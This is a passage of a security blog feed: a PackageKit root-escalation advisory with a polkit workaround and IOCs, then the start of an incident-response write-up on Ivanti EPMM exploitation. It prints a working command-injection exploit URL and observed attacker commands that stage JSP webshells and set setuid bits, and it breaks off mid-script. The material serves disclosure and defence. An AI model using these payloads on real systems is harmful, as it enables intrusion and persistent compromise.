For PackageKit &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt; 1.3.3&lt;/code&gt; test &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pkmon&lt;/code&gt;, for versions &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;gt;= 1.3.3&lt;/code&gt; use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pkgcli monitor&lt;/code&gt; to test for output.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Updated Packages&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Despite of the fixed release &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1.3.5&lt;/code&gt;, multiple Distributions released patched packages.
In the following, we link the Distros package overviews, that show Distro specific patched versions.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Debian: &lt;a href=&quot;https://security-tracker.debian.org/tracker/CVE-2026-41651&quot;&gt;https://security-tracker.debian.org/tracker/CVE-2026-41651&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Ubuntu: &lt;a href=&quot;https://bugs.launchpad.net/bugs/cve/2026-41651&quot;&gt;https://bugs.launchpad.net/bugs/cve/2026-41651&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Fedora 42 - 44: Fixed in PackageKit-1.3.4-3 &lt;a href=&quot;https://koji.fedoraproject.org/koji/packageinfo?packageID=5206&quot;&gt;https://koji.fedoraproject.org/koji/packageinfo?packageID=5206&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;workaround&quot;&gt;Workaround&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; The following workaround is provided “as is”, without warranty of any kind, express or implied. Use at your own risk. Test thoroughly in your environment before deploying to production systems.&lt;/p&gt;

&lt;p&gt;This workaround has the sideffect that GUI software centers (GNOME Software, etc.) will no longer be able to install packages. Users must use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo yum/dnf install&lt;/code&gt; from the terminal.
Package installs via &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;yum&lt;/code&gt;/&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dnf&lt;/code&gt; are unaffected since they don’t use PackageKit.&lt;/p&gt;

&lt;p&gt;Systems that do not have an available patch, can be secured by deploying a PolicyKit rule file as a workaround.
For polkit 0.106+  place a rulefile in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/polkit-1/rules.d/49-workaround-cve-2026-41651.rules&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// CVE-2026-41651 workaround: immediately deny PackageKit install actions&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// without dispatching to an authentication agent.&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// This prevents the transaction flag race by ensuring the polkit denial&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// arrives before the scheduler&apos;s idle callback can fire.&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;polkit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;addRule&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;action&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;subject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;action&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;org.freedesktop.packagekit.package-install-untrusted&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;action&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;org.freedesktop.packagekit.package-install&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;action&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;org.freedesktop.packagekit.package-reinstall&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;action&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;org.freedesktop.packagekit.package-downgrade&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;action&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;org.freedesktop.packagekit.system-update&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;

        &lt;span class=&quot;c1&quot;&gt;// Allow root (uid 0) — needed for legitimate admin operations&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;subject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;uid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;polkit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;YES&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;c1&quot;&gt;// Deny all non-root users immediately (no agent interaction)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;polkit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;NO&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;indicators-of-compromise&quot;&gt;Indicators of compromise (IOC)&lt;/h3&gt;

&lt;p&gt;Even though the vulnerability is reliably exploitable in seconds, it leaves traces that serve as a strong indicator of compromise.
After successful exploitation, the PackageKit daemon hits an assertion failure and crashes.
Systemd recovers the daemon on the next D-Bus invocation, preventing a denial-of-service, but the crash is observable in the system logs:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# journalctl --no-pager -u packagekit | grep -i emitted_finished
Apr 18 09:56:36 Rocky10 packagekitd[2082]: PackageKit:ERROR:../src/pk-transaction.c:514:pk_transaction_finished_emit: assertion failed: (!transaction-&amp;gt;priv-&amp;gt;emitted_finished)
Apr 18 09:56:36 Rocky10 packagekitd[2082]: Bail out! PackageKit:ERROR:../src/pk-transaction.c:514:pk_transaction_finished_emit: assertion failed: (!transaction-&amp;gt;priv-&amp;gt;emitted_finished)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;technical-details&quot;&gt;Technical Details&lt;/h3&gt;

&lt;p&gt;The vulnerability is a time-of-check-time-of-use (TOCTOU) race condition in PackageKit’s D-Bus transaction handling.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;PackageKit and Transaction Flags&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;PackageKit is a D-Bus system service that runs as root and delegates authorization to &lt;a href=&quot;https://github.com/polkit-org/polkit&quot;&gt;polkit&lt;/a&gt;. When a client wants to install a package, it creates a transaction object over D-Bus and calls a method such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;InstallFiles(flags, [path])&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flags&lt;/code&gt; parameter is a bitfield that controls the transaction’s behavior. Certain flag values (such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SIMULATE&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ONLY_DOWNLOAD&lt;/code&gt;) cause PackageKit to skip polkit authorization entirely, because the operations they represent are considered safe: they should never modify the system.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Root Cause&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The core issue is that PackageKit’s transaction handler unconditionally overwrites the cached transaction flags on every &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;InstallFiles&lt;/code&gt; call, without verifying the transaction’s current state. There is no guard ensuring the transaction is still in its initial state. A second call on the same transaction can overwrite the flags even after the transaction has already been authorized and is running.&lt;/p&gt;

&lt;p&gt;PackageKit’s state machine does have a guard against backward state transitions, but it rejects them silently. The flag overwrite happens &lt;em&gt;before&lt;/em&gt; the state transition is attempted, so the corrupted flags remain in effect while the transaction continues to run.&lt;/p&gt;

&lt;p&gt;When the transaction is eventually executed, the scheduler reads the &lt;em&gt;current&lt;/em&gt; value of the cached flags. If the safety flags have been stripped by a subsequent call, the backend performs a real operation instead of the originally authorized safe one.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;GLib Event Loop Ordering&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A key property that makes this exploitable is GLib’s main loop priority system: D-Bus messages are dispatched at a higher priority than idle callbacks. The scheduler executes transactions through idle callbacks, which means any pending D-Bus message is &lt;em&gt;always&lt;/em&gt; processed first. This creates a reliable window for the flag overwrite to land before the transaction actually executes.&lt;/p&gt;

&lt;h4 id=&quot;proof-of-concept&quot;&gt;Proof-of-Concept&lt;/h4&gt;

&lt;p&gt;We have developed a working proof-of-concept that reliably exploits this vulnerability to achieve root code execution from an unprivileged local user on default installations of various distributions. However, the PoC code is not being shared publicly at this time for obvious reasons.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/Pack2TheRoot/pack2theroot-poc2.png&quot; alt=&quot;Proof-of-Concept Screenshot&quot; class=&quot;img-small&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;credits&quot;&gt;Credits&lt;/h3&gt;

&lt;p&gt;A huge thank you goes to PackageKit maintainer Matthias Klumpp (&lt;a href=&quot;https://github.com/ximion&quot;&gt;@ximion&lt;/a&gt;), for addressing this vulnerability quickly by creating a patch and for coordinating communication with the distribution maintainers.
The vulnerability has been found and reported by Deutsche Telekom’s Red Team.
If you have questions regarding the vulnerability or are interested in our &lt;a href=&quot;https://geschaeftskunden.telekom.de/business/loesungen/digitalisierung/cyber-security&quot;&gt;security offerings&lt;/a&gt;, including Red Team assessments, feel free to contact &lt;span class=&quot;obf&quot; data-obf=&quot;Y21Wa2RHVmhiVUIwWld4bGEyOXRMbVJs&quot;&gt;[loading (JS)…]&lt;/span&gt;.&lt;/p&gt;

&lt;h3 id=&quot;timeline&quot;&gt;Timeline&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;2026-04-08: Private report of the vulnerability to Red Hat (through Fedora) and PackageKit project&lt;/li&gt;
  &lt;li&gt;2026-04-10: Acknowledgement of receipt and plausibility of the vulnerability by PackageKit maintainer&lt;/li&gt;
  &lt;li&gt;2026-04-13: First draft of private patch by PackageKit maintainer Matthias Klumpp (&lt;a href=&quot;https://github.com/ximion&quot;&gt;@ximion&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;2026-04-15: Informed Canonical about the issue&lt;/li&gt;
  &lt;li&gt;2026-04-15: Shared patch with Red Hat and Canonical&lt;/li&gt;
  &lt;li&gt;2026-04-19: Privately informed distribution vendors through &lt;a href=&quot;https://oss-security.openwall.org/wiki/mailing-lists/distros&quot;&gt;distros mailing list&lt;/a&gt;, shared patch and publication date&lt;/li&gt;
  &lt;li&gt;2026-04-21: Reaffirmed the publication date with distribution maintainers&lt;/li&gt;
  &lt;li&gt;2026-04-22: PackageKit patch release and public disclosure through &lt;a href=&quot;https://www.openwall.com/lists/oss-security/2026/04/22/6&quot;&gt;oss-security mailing list&lt;/a&gt; and this blog post.&lt;/li&gt;
  &lt;li&gt;2026-04-22: Got CVE-2026-41651 assigned&lt;/li&gt;
  &lt;li&gt;2026-04-23: Public exploit available on GitHub&lt;/li&gt;
  &lt;li&gt;2026-04-29: Updated blog article with technical details and propose for workaround&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;advisories&quot;&gt;Advisories&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;GitHub Security Advisory &lt;a href=&quot;https://github.com/PackageKit/PackageKit/security/advisories/GHSA-f55j-vvr9-69xv&quot;&gt;GHSA-f55j-vvr9-69xv&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-41651&quot;&gt;CVE-2026-41651&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;em&gt;The images in this article are free to use, as long as a reference to this blog post is provided.&lt;/em&gt;
A &lt;a href=&quot;/assets/images/Pack2TheRoot/Pack2TheRoot.svg&quot;&gt;SVG version&lt;/a&gt; of the Pack2TheRoot Logo is also available.&lt;/p&gt;
</content>
  </entry>
  
  <entry>
    <title>Mass exploitation of CVE-2026-1281 and CVE-2026-1340 in Ivanti EPMM</title>
    <link href="https://github.security.telekom.com/2026/03/ivanti-CVE-2026-1281-exploitation.html"/>
    <id>https://github.security.telekom.com/2026/03/ivanti-CVE-2026-1281-exploitation.html</id>
    <updated>2026-03-03T00:00:00+00:00</updated>
    <summary type="html">In early 2026, two critical zero-day vulnerabilities in Ivanti’s mobile device management platform - CVE-2026-1281 and CVE-2026-1340 - emerged as significant drivers of incident activity across multiple sectors. Both flaws, rated CVSS 9.8 (critical), allow unauthenticated remote code execution, enabling attackers to compromise Ivanti Endpoint Manager Mobile (EPMM) appliances and potentially pivot into broader enterprise environments.</summary>
    <content type="html">&lt;p&gt;In early 2026, two critical zero-day vulnerabilities in Ivanti’s mobile device management platform - &lt;a href=&quot;https://www.dcert.de/advisories/2026-0252&quot;&gt;CVE-2026-1281 and CVE-2026-1340&lt;/a&gt; - emerged as significant drivers of incident activity across multiple sectors. Both flaws, rated CVSS 9.8 (critical), allow unauthenticated remote code execution, enabling attackers to compromise Ivanti Endpoint Manager Mobile (EPMM) appliances and potentially pivot into broader enterprise environments. &lt;!--more--&gt; These vulnerabilities were &lt;a href=&quot;https://hub.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM-CVE-2026-1281-CVE-2026-1340?language=en_US&quot;&gt;disclosed&lt;/a&gt; by Ivanti on January 29, 2026, alongside emergency mitigation guidance.&lt;/p&gt;

&lt;p&gt;The German Federal Office for Information Security (BSI) subsequently issued a &lt;a href=&quot;https://www.bsi.bund.de/SharedDocs/Cybersicherheitswarnungen/DE/2026/2026-221601-1032_bits.html&quot;&gt;warning&lt;/a&gt; highlighting widespread exploitation of these issues in the wild and urging operators to assess and respond to potential compromises using updated detection scripts and indicators of compromise.&lt;/p&gt;

&lt;p&gt;Last week, our &lt;a href=&quot;https://public.telekom.de/produkte/public-cyber-security/security-testing&quot;&gt;Incident Response team&lt;/a&gt; was engaged in multiple incidents involving active exploitation of these vulnerabilities across different customer environments. In several cases, threat actors had already established persistence and initiated post-exploitation activities.&lt;/p&gt;

&lt;p&gt;This post consolidates key findings derived from our incident response engagements related to CVE-2026-1281 and CVE-2026-1340. It provides insights into observed attacker tradecraft and initial access patterns. Since the initial vulnerability disclosure, a saturated threat landscape has evolved. Multiple threat actors / botnets have since established persistence, creating a high level of background noise. Therefore we’re avoiding attribution and detailed analysis and instead focus on documentation about our findings.&lt;/p&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h3 id=&quot;how-the-exploit-works&quot;&gt;How the exploit works&lt;/h3&gt;

&lt;p&gt;Both CVE-2026-1281 and CVE-2026-1340 are critical pre-authentication Remote Command Execution (RCE) vulnerabilities with a CVSS score of 9.8. The vulnerabilities used in ongoing exploitation campaigns are caused by unsafe handling of attacker-controlled input in a server-side Bash script. In plain terms: an internet-exposed EPMM web endpoint forwards parts of an incoming request into a script, and due to a shell-evaluation bug, that input can be interpreted as code — so the device ends up running commands the attacker chooses.&lt;/p&gt;

&lt;p&gt;The vulnerable bash scripts are &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/mi/bin/map-appstore-url&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/mi/bin/map-aft-store-url&lt;/code&gt;. Both are called when specific HTTP endpoints are requested. As Watchtowr described in a blog post, a vulnerable HTTP endpoint corresponds to the pattern: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/mifs/c/appstore/fob/3/&amp;lt;int&amp;gt;/sha256:&amp;lt;something1&amp;gt;/&amp;lt;something2&amp;gt;.ipa&lt;/code&gt;. For example, a working exploit request looks like this:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/mifs/c/appstore/fob/3/5/sha256:kid&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1,st&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;theValue  ,
&lt;span class=&quot;nv&quot;&gt;et&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1337133713,h&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;gPath[&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sleep &lt;/span&gt;5&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;/e2327851-1e09-4463-9b5a-b524bc71fc07.ipa
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The parameters &lt;strong&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;st&lt;/code&gt;&lt;/strong&gt;, and &lt;strong&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;h&lt;/code&gt;&lt;/strong&gt; are not chosen arbitrarily, but are crafted specifically for exploitation. The exact mechanism how the exploit works is described in depth by Watchtowr. For now, the key takeaways are:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;The value of the &lt;strong&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;st&lt;/code&gt;&lt;/strong&gt; argument corresponds to an existing variable name in the bash script. Specifically, &lt;strong&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;theValue&lt;/code&gt;&lt;/strong&gt; holds the value of the last argument passed to the bash script. Furthermore, gPath also corresponds to an existing variable in the bash script, though its value does not matter for the exploit to work.&lt;/li&gt;
  &lt;li&gt;The key detail of the exploit is that at some point in the vulnerable bash script, the value &lt;strong&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;theValue&lt;/code&gt;&lt;/strong&gt; is evaluated as a bash expression. For the above example, this means that &lt;strong&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gPath[`sleep 5`]&lt;/code&gt;&lt;/strong&gt; is evaluated, causing bash to execute the inner command &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sleep 5&lt;/code&gt; in an attempt to calculate an array index that can be used to access &lt;strong&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gPath&lt;/code&gt;&lt;/strong&gt;. Since the inner command is provided by the attacker, this results in arbitrary command execution.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;None of the above steps require authentication. This means that the vulnerability can be exploited by anyone who is able to connect to vulnerable appliances, for example via the internet. Moreover, following release of example exploit requests, threat actors rapidly adopted the exploit in various malicious activities.&lt;/p&gt;

&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;h3 id=&quot;what-we-observed&quot;&gt;What we observed&lt;/h3&gt;

&lt;p&gt;During our investigation across multiple Ivanti EPMM environments, we identified consistent exploitation attempts targeting CVE-2026-1281 and CVE-2026-1340. The observed activity aligns with publicly reported in-the-wild exploitation and demonstrates behavior ranging from opportunistic scanning and remote code execution (RCE) validation to advanced post-exploitation actions.&lt;/p&gt;

&lt;h4 id=&quot;1-initial-exploitation-and-rce-validation&quot;&gt;1. Initial Exploitation and RCE Validation&lt;/h4&gt;

&lt;p&gt;We observed HTTP requests targeting known vulnerable endpoints associated with the Apache RewriteMap bash injection flaw. Payloads were embedded directly within GET parameters, consistent with command injection exploitation patterns.&lt;/p&gt;

&lt;p&gt;The injected commands were primarily designed to validate successful remote code execution. Commonly observed commands included:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;id&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;whoami&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hostname&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;passwd&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wget&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ps&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;echo&lt;/code&gt;-based output redirection&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sleep&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;true&lt;/code&gt; for timing and execution control&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rm&lt;/code&gt; commands for cleanup of temporary artifacts&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In several cases, command output was redirected into web-accessible paths under the Tomcat webroot, including:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/mi/.../webapps/mifs/403.jsp&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/mi/.../webapps/mifs/401.jsp&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/mi/.../webapps/mifs/css/*.css&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The redirection of command output into web-accessible directories indicates that command execution was successful rather than limited to reconnaissance scanning.&lt;/p&gt;

&lt;p&gt;DNS-based validation activity was also observed. Repeated execution of dig commands targeting attacker-controlled domains suggests OAST-style callback validation of command execution. These DNS lookups were often executed multiple times in short intervals.&lt;/p&gt;

&lt;h4 id=&quot;2-webshell-deployment-activity&quot;&gt;2. Webshell Deployment Activity&lt;/h4&gt;

&lt;p&gt;Multiple indicators were identified that are consistent with JSP webshell deployment in Tomcat web application directories.&lt;/p&gt;

&lt;p&gt;A recurring marker string was identified:&lt;/p&gt;
&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;U&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;extends&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;ClassLoader&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This string is commonly associated with an in-memory Java class loader webshell. Observed behavior indicates that attackers first checked for the presence of this string within &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;403.jsp&lt;/code&gt;. If absent, Base64-decoded content was appended to the file.&lt;/p&gt;

&lt;p&gt;Associated commands included:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;grep -q &quot;class U extends ClassLoader&quot; /mi/tomcat/webapps/mifs/403.jsp&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;base64 -d &amp;gt;&amp;gt; /mi/tomcat/webapps/mifs/403.jsp&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;id &amp;gt; /mi/tomcat/webapps/mifs/403.jsp&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xxd -r -p .1 &amp;gt; /mi/tomcat/webapps/mifs/401.jsp&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The use of xxd suggests hex-encoded payload staging followed by reconstruction into a JSP file. This indicates deliberate effort to obfuscate payload delivery.&lt;/p&gt;

&lt;p&gt;We also observed permission-related commands such as:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;chmod +s /usr/bin/env&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Indicators point to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;403.jsp&lt;/code&gt; being used as a webshell location:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Attempted permission manipulation / privilege-related command:
    &lt;ul&gt;
      &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;chmod +s /bin/sh &amp;gt; /mi/tomcat/webapps/mifs/403.jsp&lt;/code&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Additionally, we observed an explicit attacker “webshell check + deploy” logic
    &lt;ul&gt;
      &lt;li&gt;Webshell check / conditional append:&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;if &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-q&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;class U extends ClassLoader&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/mi/tomcat/webapps/mifs/403.jsp&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; 
